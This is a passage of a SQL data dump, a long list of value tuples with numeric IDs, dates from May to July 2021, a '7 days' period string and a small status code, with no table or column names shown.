days',2),(49824,13091,8742,9806,1394,86,'2021-05-29','7 days',0),(49825,12022,8705,9777,1668,277,'2021-05-31','7 days',1),(49827,15599,8633,9719,1342,971,'2021-05-31','7 days',1),(49828,15462,8633,9719,1342,971,'2021-05-31','7 days',0),(49829,16277,8633,9719,1342,971,'2021-05-31','7 days',0),(49830,16276,8633,9719,1342,971,'2021-05-31','7 days',0),(49831,16139,8633,9719,1342,971,'2021-05-31','7 days',1),(49832,12739,8633,9719,1342,971,'2021-05-31','7 days',2),(49833,11698,8633,9719,1342,971,'2021-05-31','7 days',0),(49834,11456,8633,9719,1342,971,'2021-05-31','7 days',0),(49835,11126,8633,9719,1342,971,'2021-05-31','7 days',1),(49836,10978,8633,9719,1342,971,'2021-05-31','7 days',1),(49837,10965,8633,9719,1342,971,'2021-05-31','7 days',0),(49838,10964,8633,9719,1342,971,'2021-05-31','7 days',0),(49839,10963,8633,9719,1342,971,'2021-05-31','7 days',2),(49840,11589,7926,9137,162,73,'2021-05-31','7 days',1),(49841,15371,8491,9619,1574,86,'2021-05-31','7 days',2),(49842,15370,8491,9619,1574,86,'2021-05-31','7 days',2),(49843,15361,8491,9619,1574,86,'2021-05-31','7 days',1),(49844,14580,8491,9619,1574,86,'2021-05-31','7 days',0),(49845,14439,8491,9619,1574,86,'2021-05-31','7 days',0),(49846,12285,8491,9619,1574,86,'2021-05-31','7 days',0),(49847,10914,8491,9619,1574,86,'2021-05-31','7 days',2),(49848,10913,8491,9619,1574,86,'2021-05-31','7 days',0),(49849,9091,8491,9619,1574,86,'2021-05-31','7 days',0),(49850,8996,8491,9619,1574,86,'2021-05-31','7 days',0),(49879,18314,8491,9619,1574,86,'2021-05-31','7 days',0),(49951,12022,8707,9778,1594,277,'2021-05-31','7 days',1),(49980,13913,8766,9821,194,45,'2021-06-01','7 days',0),(49981,11689,8766,9821,194,45,'2021-06-01','7 days',1),(49991,11724,8513,9118,1439,86,'2021-06-01','7 days',0),(49992,11723,8513,9118,1439,86,'2021-06-01','7 days',2),(49993,11722,8513,9118,1439,86,'2021-06-01','7 days',0),(49994,11721,8513,9118,1439,86,'2021-06-01','7 days',2),(49995,11720,8513,9118,1439,86,'2021-06-01','7 days',0),(49996,11719,8513,9118,1439,86,'2021-06-01','7 days',0),(49997,11718,8513,9118,1439,86,'2021-06-01','7 days',1),(49998,11717,8513,9118,1439,86,'2021-06-01','7 days',0),(50040,11689,8229,9326,194,45,'2021-06-02','7 days',1),(50057,11689,6979,8251,194,45,'2021-06-02','7 days',1),(50058,13913,8789,9840,194,45,'2021-06-02','7 days',0),(50059,12562,8789,9840,194,45,'2021-06-02','7 days',1),(50060,11689,8789,9840,194,45,'2021-06-02','7 days',1),(50088,13913,8156,9326,194,45,'2021-06-03','7 days',0),(50089,11162,8156,9326,194,45,'2021-06-03','7 days',1),(50090,11689,8282,9435,194,45,'2021-06-03','7 days',1),(50102,14051,8797,9848,1069,326,'2021-06-04','7 days',0),(50103,12897,8797,9848,1069,326,'2021-06-04','7 days',0),(50104,12875,8797,9848,1069,326,'2021-06-04','7 days',1),(50105,9805,8797,9848,1069,326,'2021-06-04','7 days',0),(50106,9801,8797,9848,1069,326,'2021-06-04','7 days',0),(50182,13913,7735,8948,194,45,'2021-06-07','7 days',0),(50183,11689,7735,8948,194,45,'2021-06-07','7 days',1),(50259,11689,7450,8709,194,45,'2021-06-08','7 days',1),(50283,16277,8836,9877,1342,971,'2021-06-08','7 days',0),(50284,16276,8836,9877,1342,971,'2021-06-08','7 days',0),(50285,16139,8836,9877,1342,971,'2021-06-08','7 days',1),(50286,12739,8836,9877,1342,971,'2021-06-08','7 days',0),(50287,11698,8836,9877,1342,971,'2021-06-08','7 days',0),(50288,11456,8836,9877,1342,971,'2021-06-08','7 days',0),(50289,11126,8836,9877,1342,971,'2021-06-08','7 days',1),(50290,10978,8836,9877,1342,971,'2021-06-08','7 days',1),(50291,10967,8836,9877,1342,971,'2021-06-08','7 days',1),(50292,10966,8836,9877,1342,971,'2021-06-08','7 days',1),(50293,10965,8836,9877,1342,971,'2021-06-08','7 days',0),(50294,10964,8836,9877,1342,971,'2021-06-08','7 days',0),(50295,10963,8836,9877,1342,971,'2021-06-08','7 days',1),(50341,11689,8704,9775,194,45,'2021-06-09','7 days',1),(50349,16880,8848,9890,1251,86,'2021-06-09','7 days',0),(50350,16788,8848,9890,1251,86,'2021-06-09','7 days',2),(50351,16787,8848,9890,1251,86,'2021-06-09','7 days',0),(50352,16786,8848,9890,1251,86,'2021-06-09','7 days',1),(50353,16785,8848,9890,1251,86,'2021-06-09','7 days',1),(50354,16749,8848,9890,1251,86,'2021-06-09','7 days',0),(50355,16748,8848,9890,1251,86,'2021-06-09','7 days',0),(50356,16747,8848,9890,1251,86,'2021-06-09','7 days',0),(50357,16746,8848,9890,1251,86,'2021-06-09','7 days',2),(50358,16745,8848,9890,1251,86,'2021-06-09','7 days',0),(50360,640,8729,9795,162,73,'2021-06-09','7 days',0),(50361,639,8729,9795,162,73,'2021-06-09','7 days',0),(50362,637,8729,9795,162,73,'2021-06-09','7 days',0),(50363,636,8729,9795,162,73,'2021-06-09','7 days',0),(50364,629,8729,9795,162,73,'2021-06-09','7 days',0),(50369,12022,8837,9878,1594,277,'2021-06-10','7 days',1),(50378,17214,8845,9887,1367,959,'2021-06-10','7 days',0),(50379,10251,8845,9887,1367,959,'2021-06-10','7 days',1),(50380,10212,8845,9887,1367,959,'2021-06-10','7 days',1),(50381,10211,8845,9887,1367,959,'2021-06-10','7 days',0),(50398,17502,8848,9890,1251,86,'2021-06-10','7 days',1),(50399,16782,8848,9890,1251,86,'2021-06-10','7 days',0),(50400,16739,8848,9890,1251,86,'2021-06-10','7 days',0),(50401,16024,8848,9890,1251,86,'2021-06-10','7 days',0),(50402,15588,8848,9890,1251,86,'2021-06-10','7 days',1),(50403,15587,8848,9890,1251,86,'2021-06-10','7 days',0),(50404,15586,8848,9890,1251,86,'2021-06-10','7 days',1),(50405,15567,8848,9890,1251,86,'2021-06-10','7 days',0),(50429,17489,8753,9715,633,639,'2021-06-11','7 days',1),(50430,17451,8753,9715,633,639,'2021-06-11','7 days',0),(50431,4516,8753,9715,633,639,'2021-06-11','7 days',1),(50432,4514,8753,9715,633,639,'2021-06-11','7 days',0),(50433,4499,8753,9715,633,639,'2021-06-11','7 days',0),(50434,4467,8753,9715,633,639,'2021-06-11','7 days',2),(50435,17451,8738,9715,633,639,'2021-06-11','7 days',0),(50436,4516,8738,9715,633,639,'2021-06-11','7 days',1),(50437,4514,8738,9715,633,639,'2021-06-11','7 days',0),(50438,4499,8738,9715,633,639,'2021-06-11','7 days',0),(50439,4467,8738,9715,633,639,'2021-06-11','7 days',1),(50440,4460,8738,9715,633,639,'2021-06-11','7 days',0),(50441,4512,8696,9715,633,639,'2021-06-11','7 days',1),(50442,4494,8696,9715,633,639,'2021-06-11','7 days',1),(50443,4487,8696,9715,633,639,'2021-06-11','7 days',0),(50444,4483,8696,9715,633,639,'2021-06-11','7 days',0),(50445,4477,8696,9715,633,639,'2021-06-11','7 days',0),(50446,17489,8625,9715,633,639,'2021-06-11','7 days',1),(50447,17451,8625,9715,633,639,'2021-06-11','7 days',0),(50448,4516,8625,9715,633,639,'2021-06-11','7 days',1),(50449,4514,8625,9715,633,639,'2021-06-11','7 days',0),(50450,4499,8625,9715,633,639,'2021-06-11','7 days',2),(50454,12022,8838,9879,1594,277,'2021-06-11','7 days',2),(50508,18293,8873,6489,1291,86,'2021-06-12','7 days',1),(50509,18277,8873,6489,1291,86,'2021-06-12','7 days',1),(50510,18276,8873,6489,1291,86,'2021-06-12','7 days',1),(50511,18275,8873,6489,1291,86,'2021-06-12','7 days',0),(50512,15634,8873,6489,1291,86,'2021-06-12','7 days',0),(50513,15633,8873,6489,1291,86,'2021-06-12','7 days',0),(50514,15632,8873,6489,1291,86,'2021-06-12','7 days',0),(50515,15631,8873,6489,1291,86,'2021-06-12','7 days',0),(50516,15630,8873,6489,1291,86,'2021-06-12','7 days',0),(50566,18312,8874,6489,1675,86,'2021-06-12','7 days',1),(50567,17501,8874,6489,1675,86,'2021-06-12','7 days',0),(50568,17500,8874,6489,1675,86,'2021-06-12','7 days',0),(50569,17078,8874,6489,1675,86,'2021-06-12','7 days',0),(50570,17077,8874,6489,1675,86,'2021-06-12','7 days',0),(50571,17076,8874,6489,1675,86,'2021-06-12','7 days',0),(50572,16783,8874,6489,1675,86,'2021-06-12','7 days',0),(50573,16739,8874,6489,1675,86,'2021-06-12','7 days',2),(50574,15369,8874,6489,1675,86,'2021-06-12','7 days',0),(50575,15368,8874,6489,1675,86,'2021-06-12','7 days',2),(50576,15367,8874,6489,1675,86,'2021-06-12','7 days',0),(50577,15366,8874,6489,1675,86,'2021-06-12','7 days',2),(50578,15364,8874,6489,1675,86,'2021-06-12','7 days',0),(50579,11589,8043,9222,162,73,'2021-06-12','7 days',1),(50580,8781,8043,9222,162,73,'2021-06-12','7 days',0),(50581,672,8043,9222,162,73,'2021-06-12','7 days',0),(50582,647,8043,9222,162,73,'2021-06-12','7 days',0),(50583,15494,8872,6489,1251,86,'2021-06-12','7 days',0),(50584,12377,8872,6489,1251,86,'2021-06-12','7 days',0),(50585,12376,8872,6489,1251,86,'2021-06-12','7 days',0),(50586,12375,8872,6489,1251,86,'2021-06-12','7 days',0),(50587,12374,8872,6489,1251,86,'2021-06-12','7 days',0),(50588,12373,8872,6489,1251,86,'2021-06-12','7 days',0),(50589,12372,8872,6489,1251,86,'2021-06-12','7 days',0),(50590,9727,8872,6489,1251,86,'2021-06-12','7 days',0),(50591,9001,8872,6489,1251,86,'2021-06-12','7 days',0),(50592,640,8846,9888,160,73,'2021-06-12','7 days',0),(50593,639,8846,9888,160,73,'2021-06-12','7 days',0),(50594,637,8846,9888,160,73,'2021-06-12','7 days',0),(50595,636,8846,9888,160,73,'2021-06-12','7 days',0),(50596,629,8846,9888,160,73,'2021-06-12','7 days',0),(50597,15826,8873,6489,1291,86,'2021-06-12','7 days',0),(50598,13344,8873,6489,1291,86,'2021-06-12','7 days',0),(50599,13343,8873,6489,1291,86,'2021-06-12','7 days',0),(50600,13342,8873,6489,1291,86,'2021-06-12','7 days',0),(50601,13341,8873,6489,1291,86,'2021-06-12','7 days',0),(50605,12532,8863,6982,194,45,'2021-06-14','7 days',1),(50606,11715,8863,6982,194,45,'2021-06-14','7 days',1),(50607,11714,8863,6982,194,45,'2021-06-14','7 days',1),(50608,5467,8863,6982,194,45,'2021-06-14','7 days',1),(50609,17681,8838,9879,1594,277,'2021-06-14','7 days',2),(50610,15861,8838,9879,1594,277,'2021-06-14','7 days',1),(50611,15860,8838,9879,1594,277,'2021-06-14','7 days',0),(50612,15855,8838,9879,1594,277,'2021-06-14','7 days',0),(50613,15854,8838,9879,1594,277,'2021-06-14','7 days',0),(50614,15746,8838,9879,1594,277,'2021-06-14','7 days',1),(50615,12024,8838,9879,1594,277,'2021-06-14','7 days',0),(50616,12018,8838,9879,1594,277,'2021-06-14','7 days',0),(50617,11844,8838,9879,1594,277,'2021-06-14','7 days',0),(50618,11659,8838,9879,1594,277,'2021-06-14','7 days',0),(50658,18062,8660,9734,1574,86,'2021-06-14','7 days',0),(50659,18061,8660,9734,1574,86,'2021-06-14','7 days',0),(50660,18060,8660,9734,1574,86,'2021-06-14','7 days',0),(50661,18059,8660,9734,1574,86,'2021-06-14','7 days',0),(50662,12830,8660,9734,1574,86,'2021-06-14','7 days',0),(50663,9765,8660,9734,1574,86,'2021-06-14','7 days',0),(50664,9751,8660,9734,1574,86,'2021-06-14','7 days',0),(50697,18415,8884,9920,1410,975,'2021-06-15','7 days',0),(50698,18414,8884,9920,1410,975,'2021-06-15','7 days',0),(50699,18413,8884,9920,1410,975,'2021-06-15','7 days',0),(50700,18412,8884,9920,1410,975,'2021-06-15','7 days',0),(50701,18411,8884,9920,1410,975,'2021-06-15','7 days',1),(50702,18410,8884,9920,1410,975,'2021-06-15','7 days',0),(50703,18409,8884,9920,1410,975,'2021-06-15','7 days',0),(50704,18408,8884,9920,1410,975,'2021-06-15','7 days',0),(50705,18407,8884,9920,1410,975,'2021-06-15','7 days',0),(50706,18406,8884,9920,1410,975,'2021-06-15','7 days',0),(50713,18421,8752,9814,1410,975,'2021-06-15','7 days',0),(50714,18420,8752,9814,1410,975,'2021-06-15','7 days',0),(50715,18419,8752,9814,1410,975,'2021-06-15','7 days',0),(50716,18418,8752,9814,1410,975,'2021-06-15','7 days',0),(50717,18417,8752,9814,1410,975,'2021-06-15','7 days',0),(50718,18416,8752,9814,1410,975,'2021-06-15','7 days',0),(50719,18427,8353,9500,1410,975,'2021-06-15','7 days',1),(50720,18426,8353,9500,1410,975,'2021-06-15','7 days',0),(50721,18425,8353,9500,1410,975,'2021-06-15','7 days',1),(50722,18424,8353,9500,1410,975,'2021-06-15','7 days',0),(50723,18423,8353,9500,1410,975,'2021-06-15','7 days',0),(50724,18422,8353,9500,1410,975,'2021-06-15','7 days',0),(50804,14684,8902,9938,194,45,'2021-06-16','7 days',1),(50805,13913,8902,9938,194,45,'2021-06-16','7 days',0),(50806,12562,8902,9938,194,45,'2021-06-16','7 days',1),(50807,11689,8902,9938,194,45,'2021-06-16','7 days',1),(50897,12022,8885,4635,1663,277,'2021-06-17','7 days',1),(50978,17500,8513,9118,1439,86,'2021-06-17','7 days',0),(50979,17078,8513,9118,1439,86,'2021-06-17','7 days',0),(50980,18314,8513,9118,1439,86,'2021-06-17','7 days',0),(50981,18102,8513,9118,1439,86,'2021-06-17','7 days',0),(50982,18101,8513,9118,1439,86,'2021-06-17','7 days',2),(50983,18100,8513,9118,1439,86,'2021-06-17','7 days',0),(50994,18502,8884,9920,1410,975,'2021-06-18','7 days',1),(51019,12532,8943,8175,194,45,'2021-06-18','7 days',1),(51020,12531,8943,8175,194,45,'2021-06-18','7 days',1),(51021,11715,8943,8175,194,45,'2021-06-18','7 days',1),(51022,5467,8943,8175,194,45,'2021-06-18','7 days',1),(51023,12322,8917,9957,221,85,'2021-06-18','7 days',1),(51024,12153,8917,9957,221,85,'2021-06-18','7 days',0),(51025,12152,8917,9957,221,85,'2021-06-18','7 days',0),(51026,12151,8917,9957,221,85,'2021-06-18','7 days',0),(51027,12150,8917,9957,221,85,'2021-06-18','7 days',0),(51028,12149,8917,9957,221,85,'2021-06-18','7 days',0),(51029,12148,8917,9957,221,85,'2021-06-18','7 days',0),(51030,12147,8917,9957,221,85,'2021-06-18','7 days',0),(51031,15222,8917,9957,221,85,'2021-06-18','7 days',1),(51032,15221,8917,9957,221,85,'2021-06-18','7 days',0),(51033,12230,8917,9957,221,85,'2021-06-18','7 days',0),(51034,12228,8917,9957,221,85,'2021-06-18','7 days',0),(51035,12226,8917,9957,221,85,'2021-06-18','7 days',0),(51036,12166,8917,9957,221,85,'2021-06-18','7 days',2),(51037,12159,8917,9957,221,85,'2021-06-18','7 days',0),(51038,12154,8917,9957,221,85,'2021-06-18','7 days',0),(51039,10884,8917,9957,221,85,'2021-06-18','7 days',2),(51040,10876,8917,9957,221,85,'2021-06-18','7 days',0),(51041,12404,8917,9957,221,85,'2021-06-18','7 days',2),(51042,12397,8917,9957,221,85,'2021-06-18','7 days',0),(51043,10936,8917,9957,221,85,'2021-06-18','7 days',0),(51044,10934,8917,9957,221,85,'2021-06-18','7 days',0),(51045,10933,8917,9957,221,85,'2021-06-18','7 days',0),(51046,10925,8917,9957,221,85,'2021-06-18','7 days',0),(51118,14685,8953,9986,194,45,'2021-06-21','7 days',1),(51119,14684,8953,9986,194,45,'2021-06-21','7 days',1),(51120,13913,8953,9986,194,45,'2021-06-21','7 days',0),(51121,11689,8953,9986,194,45,'2021-06-21','7 days',1),(51122,11687,8953,9986,194,45,'2021-06-21','7 days',1),(51140,13225,8074,9248,161,73,'2021-06-22','7 days',1),(51408,14684,9068,10065,194,45,'2021-06-25','7 days',1),(51409,13913,9068,10065,194,45,'2021-06-25','7 days',0),(51410,11689,9068,10065,194,45,'2021-06-25','7 days',1),(51411,11162,9068,10065,194,45,'2021-06-25','7 days',1),(51412,11689,9013,10027,194,45,'2021-06-25','7 days',1),(51413,11688,9013,10027,194,45,'2021-06-25','7 days',2),(51414,11687,9013,10027,194,45,'2021-06-25','7 days',1),(51415,11162,9013,10027,194,45,'2021-06-25','7 days',1),(51416,9206,9013,10027,194,45,'2021-06-25','7 days',1),(51423,7308,8584,9698,1245,91,'2021-06-25','7 days',0),(51424,7307,8584,9698,1245,91,'2021-06-25','7 days',2),(51425,7306,8584,9698,1245,91,'2021-06-25','7 days',2),(51426,7305,8584,9698,1245,91,'2021-06-25','7 days',0),(51427,7304,8584,9698,1245,91,'2021-06-25','7 days',0),(51428,7303,8584,9698,1245,91,'2021-06-25','7 days',2),(51429,7147,8584,9698,1245,91,'2021-06-25','7 days',2),(51430,7146,8584,9698,1245,91,'2021-06-25','7 days',2),(51431,7145,8584,9698,1245,91,'2021-06-25','7 days',0),(51432,7143,8584,9698,1245,91,'2021-06-25','7 days',0),(51433,7142,8584,9698,1245,91,'2021-06-25','7 days',0),(51434,7140,8584,9698,1245,91,'2021-06-25','7 days',1),(51435,7138,8584,9698,1245,91,'2021-06-25','7 days',0),(51436,7137,8584,9698,1245,91,'2021-06-25','7 days',0),(51437,7020,8584,9698,1245,91,'2021-06-25','7 days',0),(51438,17412,8584,9698,1245,91,'2021-06-25','7 days',1),(51439,7022,8584,9698,1245,91,'2021-06-25','7 days',2),(51465,18559,8660,9734,1574,86,'2021-06-25','7 days',2),(51466,18558,8660,9734,1574,86,'2021-06-25','7 days',1),(51467,18557,8660,9734,1574,86,'2021-06-25','7 days',0),(51468,18556,8660,9734,1574,86,'2021-06-25','7 days',2),(51469,18396,8872,6489,1251,86,'2021-06-25','7 days',0),(51470,18401,8872,6489,1251,86,'2021-06-25','7 days',0),(51471,18562,8513,9118,1439,86,'2021-06-25','7 days',0),(51472,18561,8513,9118,1439,86,'2021-06-25','7 days',0),(51473,18560,8513,9118,1439,86,'2021-06-25','7 days',0),(51474,17501,8513,9118,1439,86,'2021-06-25','7 days',0),(51573,11589,8208,9373,162,73,'2021-06-28','7 days',1),(51614,18566,8513,9118,1439,86,'2021-06-29','7 days',0),(51664,14051,9102,10090,1069,326,'2021-06-30','7 days',0),(51665,12897,9102,10090,1069,326,'2021-06-30','7 days',0),(51666,12875,9102,10090,1069,326,'2021-06-30','7 days',1),(51667,9805,9102,10090,1069,326,'2021-06-30','7 days',0),(51668,9803,9102,10090,1069,326,'2021-06-30','7 days',0),(51790,661,9031,10044,160,73,'2021-07-01','7 days',0),(51838,17489,9158,9715,634,639,'2021-07-01','7 days',1),(51839,17451,9158,9715,634,639,'2021-07-01','7 days',0),(51840,4516,9158,9715,634,639,'2021-07-01','7 days',0),(51841,4514,9158,9715,634,639,'2021-07-01','7 days',0),(51842,4499,9158,9715,634,639,'2021-07-01','7 days',2),(51843,16051,9031,10044,160,73,'2021-07-01','7 days',0),(51844,13225,9031,10044,160,73,'2021-07-01','7 days',0),(51845,12979,9031,10044,160,73,'2021-07-01','7 days',0),(51846,11876,9031,10044,160,73,'2021-07-01','7 days',0),(51847,11589,9031,10044,160,73,'2021-07-01','7 days',0),(51895,18594,9173,8948,194,45,'2021-07-02','7 days',1),(51896,18593,9173,8948,194,45,'2021-07-02','7 days',1),(51897,11845,9173,8948,194,45,'2021-07-02','7 days',1),(51898,11520,9173,8948,194,45,'2021-07-02','7 days',1),(51899,2238,9173,8948,194,45,'2021-07-02','7 days',0),(51900,17489,9174,9715,634,639,'2021-07-02','7 days',1),(51901,17451,9174,9715,634,639,'2021-07-02','7 days',0),(51902,18594,9172,8948,194,45,'2021-07-02','7 days',1),(51903,4514,9174,9715,634,639,'2021-07-02','7 days',0),(51904,18593,9172,8948,194,45,'2021-07-02','7 days',1),(51905,4499,9174,9715,634,639,'2021-07-02','7 days',0),(51906,11845,9172,8948,194,45,'2021-07-02','7 days',1),(51907,4467,9174,9715,634,639,'2021-07-02','7 days',1),(51908,11520,9172,8948,194,45,'2021-07-02','7 days',1),(51909,11519,9172,8948,194,45,'2021-07-02','7 days',1),(51910,2238,9172,8948,194,45,'2021-07-02','7 days',0),(51911,4512,9168,9715,634,639,'2021-07-02','7 days',1),(51912,4494,9168,9715,634,639,'2021-07-02','7 days',1),(51913,4487,9168,9715,634,639,'2021-07-02','7 days',0),(51914,18594,9171,8948,194,45,'2021-07-02','7 days',1),(51915,4483,9168,9715,634,639,'2021-07-02','7 days',0),(51916,18593,9171,8948,194,45,'2021-07-02','7 days',1),(51917,4477,9168,9715,634,639,'2021-07-02','7 days',2),(51918,11300,9171,8948,194,45,'2021-07-02','7 days',0),(51919,4473,9168,9715,634,639,'2021-07-02','7 days',0),(51920,11299,9171,8948,194,45,'2021-07-02','7 days',2),(51921,11298,9171,8948,194,45,'2021-07-02','7 days',0),(51922,9182,9171,8948,194,45,'2021-07-02','7 days',0),(51923,8925,9171,8948,194,45,'2021-07-02','7 days',0),(51924,2238,9171,8948,194,45,'2021-07-02','7 days',0),(51925,18594,9169,10133,194,45,'2021-07-02','7 days',1),(51926,18593,9169,10133,194,45,'2021-07-02','7 days',1),(51927,18592,9169,10133,194,45,'2021-07-02','7 days',1),(51928,18594,9160,9275,194,45,'2021-07-02','7 days',1),(51929,18593,9160,9275,194,45,'2021-07-02','7 days',1),(51930,18592,9160,9275,194,45,'2021-07-02','7 days',1),(51931,11578,9160,9275,194,45,'2021-07-02','7 days',1),(51932,11520,9160,9275,194,45,'2021-07-02','7 days',1),(51933,11519,9160,9275,194,45,'2021-07-02','7 days',1),(51934,11299,9160,9275,194,45,'2021-07-02','7 days',2),(51935,11298,9160,9275,194,45,'2021-07-02','7 days',0),(51936,9182,9160,9275,194,45,'2021-07-02','7 days',0),(51937,18593,9112,8036,194,45,'2021-07-02','7 days',1),(51938,18592,9112,8036,194,45,'2021-07-02','7 days',1),(51939,11845,9112,8036,194,45,'2021-07-02','7 days',1),(51940,11578,9112,8036,194,45,'2021-07-02','7 days',1),(51941,11520,9112,8036,194,45,'2021-07-02','7 days',1),(51942,11519,9112,8036,194,45,'2021-07-02','7 days',1),(51943,11518,9112,8036,194,45,'2021-07-02','7 days',1),(51944,11300,9112,8036,194,45,'2021-07-02','7 days',0),(51945,11299,9112,8036,194,45,'2021-07-02','7 days',2),(51946,11298,9112,8036,194,45,'2021-07-02','7 days',0),(51947,8926,9112,8036,194,45,'2021-07-02','7 days',0),(51948,8925,9112,8036,194,45,'2021-07-02','7 days',0),(51949,8924,9112,8036,194,45,'2021-07-02','7 days',0),(51950,2238,9112,8036,194,45,'2021-07-02','7 days',0),(52026,18314,9210,10164,1393,86,'2021-07-03','7 days',0),(52027,18102,9210,10164,1393,86,'2021-07-03','7 days',0),(52028,18101,9210,10164,1393,86,'2021-07-03','7 days',0),(52029,18100,9210,10164,1393,86,'2021-07-03','7 days',0),(52030,18099,9210,10164,1393,86,'2021-07-03','7 days',0),(52031,18098,9210,10164,1393,86,'2021-07-03','7 days',2),(52032,18097,9210,10164,1393,86,'2021-07-03','7 days',0),(52033,12285,9210,10164,1393,86,'2021-07-03','7 days',2),(52034,12282,9210,10164,1393,86,'2021-07-03','7 days',2),(52035,10916,9210,10164,1393,86,'2021-07-03','7 days',0),(52036,18612,9210,10164,1393,86,'2021-07-03','7 days',0),(52037,18611,9210,10164,1393,86,'2021-07-03','7 days',0),(52038,13236,9210,10164,1393,86,'2021-07-03','7 days',0),(52039,13100,9210,10164,1393,86,'2021-07-03','7 days',2),(52040,12281,9210,10164,1393,86,'2021-07-03','7 days',0),(52041,15626,8513,9118,1439,86,'2021-07-03','7 days',0),(52042,15625,8513,9118,1439,86,'2021-07-03','7 days',0),(52043,15624,8513,9118,1439,86,'2021-07-03','7 days',2),(52044,15623,8513,9118,1439,86,'2021-07-03','7 days',2),(52045,15540,8513,9118,1439,86,'2021-07-03','7 days',0),(52046,15539,8513,9118,1439,86,'2021-07-03','7 days',0),(52047,15538,8513,9118,1439,86,'2021-07-03','7 days',0),(52048,15537,8513,9118,1439,86,'2021-07-03','7 days',0),(52058,18096,9210,10164,1393,86,'2021-07-03','7 days',0),(52059,18095,9210,10164,1393,86,'2021-07-03','7 days',0),(52060,14439,9210,10164,1393,86,'2021-07-03','7 days',0),(52061,12280,9210,10164,1393,86,'2021-07-03','7 days',0),(52062,12279,9210,10164,1393,86,'2021-07-03','7 days',0),(52063,12278,9210,10164,1393,86,'2021-07-03','7 days',0),(52064,8996,9210,10164,1393,86,'2021-07-03','7 days',0),(52108,17077,8513,9118,1439,86,'2021-07-05','7 days',0),(52109,17076,8513,9118,1439,86,'2021-07-05','7 days',0),(52110,16783,8513,9118,1439,86,'2021-07-05','7 days',0),(52111,16782,8513,9118,1439,86,'2021-07-05','7 days',2),(52112,16739,8513,9118,1439,86,'2021-07-05','7 days',0),(52113,16024,8513,9118,1439,86,'2021-07-05','7 days',0),(52114,15975,8513,9118,1439,86,'2021-07-05','7 days',2),(52115,15589,8513,9118,1439,86,'2021-07-05','7 days',2),(52116,15588,8513,9118,1439,86,'2021-07-05','7 days',0),(52117,15587,8513,9118,1439,86,'2021-07-05','7 days',0),(52118,15586,8513,9118,1439,86,'2021-07-05','7 days',1),(52119,15585,8513,9118,1439,86,'2021-07-05','7 days',0),(52120,15584,8513,9118,1439,86,'2021-07-05','7 days',0),(52121,15567,8513,9118,1439,86,'2021-07-05','7 days',0),(52122,15493,8513,9118,1439,86,'2021-07-05','7 days',0),(52123,15369,8513,9118,1439,86,'2021-07-05','7 days',2),(52124,15368,8513,9118,1439,86,'2021-07-05','7 days',2),(52125,15367,8513,9118,1439,86,'2021-07-05','7 days',2),(52126,15366,8513,9118,1439,86,'2021-07-05','7 days',2),(52127,15365,8513,9118,1439,86,'2021-07-05','7 days',2),(52128,15364,8513,9118,1439,86,'2021-07-05','7 days',2),(52129,15363,8513,9118,1439,86,'2021-07-05','7 days',1),(52130,15362,8513,9118,1439,86,'2021-07-05','7 days',2),(52131,14994,8513,9118,1439,86,'2021-07-05','7 days',1),(52132,14909,8513,9118,1439,86,'2021-07-05','7 days',1),(52133,14786,8513,9118,1439,86,'2021-07-05','7 days',2),(52134,14785,8513,9118,1439,86,'2021-07-05','7 days',2),(52135,14618,8513,9118,1439,86,'2021-07-05','7 days',0),(52245,15626,9210,10164,1393,86,'2021-07-06','7 days',0),(52246,15625,9210,10164,1393,86,'2021-07-06','7 days',0),(52247,15624,9210,10164,1393,86,'2021-07-06','7 days',2),(52248,15623,9210,10164,1393,86,'2021-07-06','7 days',2),(52249,15540,9210,10164,1393,86,'2021-07-06','7 days',0),(52250,15539,9210,10164,1393,86,'2021-07-06','7 days',0),(52251,15538,9210,10164,1393,86,'2021-07-06','7 days',0),(52252,15537,9210,10164,1393,86,'2021-07-06','7 days',0),(52253,15536,9210,10164,1393,86,'2021-07-06','7 days',0),(52254,15531,9210,10164,1393,86,'2021-07-06','7 days',0),(52255,15530,9210,10164,1393,86,'2021-07-06','7 days',0),(52256,15529,9210,10164,1393,86,'2021-07-06','7 days',0),(52257,12770,9210,10164,1393,86,'2021-07-06','7 days',0),(52258,10944,9210,10164,1393,86,'2021-07-06','7 days',0),(52259,6348,9210,10164,1393,86,'2021-07-06','7 days',0),(52260,6188,9210,10164,1393,86,'2021-07-06','7 days',2),(52261,5730,9210,10164,1393,86,'2021-07-06','7 days',0),(52262,3703,9210,10164,1393,86,'2021-07-06','7 days',0),(52263,3702,9210,10164,1393,86,'2021-07-06','7 days',0),(52264,1126,9210,10164,1393,86,'2021-07-06','7 days',0),(52265,985,9210,10164,1393,86,'2021-07-06','7 days',0),(52266,938,9210,10164,1393,86,'2021-07-06','7 days',0),(52282,17682,9235,4939,1668,277,'2021-07-07','7 days',1),(52283,17681,9235,4939,1668,277,'2021-07-07','7 days',0),(52284,15861,9235,4939,1668,277,'2021-07-07','7 days',2),(52285,9902,9235,4939,1668,277,'2021-07-07','7 days',0),(52286,9901,9235,4939,1668,277,'2021-07-07','7 days',0),(52300,18655,9210,10164,1393,86,'2021-07-07','7 days',0),(52301,18654,9210,10164,1393,86,'2021-07-07','7 days',2),(52302,18653,9210,10164,1393,86,'2021-07-07','7 days',0),(52398,12022,9235,4939,1668,277,'2021-07-08','7 days',1),(52437,16023,9134,10111,222,85,'2021-07-08','7 days',1),(52438,16022,9134,10111,222,85,'2021-07-08','7 days',0),(52439,16021,9134,10111,222,85,'2021-07-08','7 days',0),(52440,16020,9134,10111,222,85,'2021-07-08','7 days',0),(52441,16019,9134,10111,222,85,'2021-07-08','7 days',0),(52442,16018,9134,10111,222,85,'2021-07-08','7 days',0),(52443,16015,9134,10111,222,85,'2021-07-08','7 days',0),(52444,16014,9134,10111,222,85,'2021-07-08','7 days',0),(52445,16013,9134,10111,222,85,'2021-07-08','7 days',0),(52446,16012,9134,10111,222,85,'2021-07-08','7 days',0),(52447,14899,9134,10111,222,85,'2021-07-08','7 days',2),(52448,14898,9134,10111,222,85,'2021-07-08','7 days',0),(52449,18693,9210,10164,1393,86,'2021-07-08','7 days',0),(52450,18692,9210,10164,1393,86,'2021-07-08','7 days',0),(52451,18691,9210,10164,1393,86,'2021-07-08','7 days',2),(52452,18664,9210,10164,1393,86,'2021-07-08','7 days',0),(52453,14684,9105,10092,194,45,'2021-07-08','7 days',1),(52454,13913,9105,10092,194,45,'2021-07-08','7 days',0),(52455,12562,9105,10092,194,45,'2021-07-08','7 days',1),(52456,11689,9105,10092,194,45,'2021-07-08','7 days',1),(52457,9206,9105,10092,194,45,'2021-07-08','7 days',1),(52463,18695,9210,10164,1393,86,'2021-07-08','7 days',0),(52521,17409,9251,10201,1410,975,'2021-07-09','7 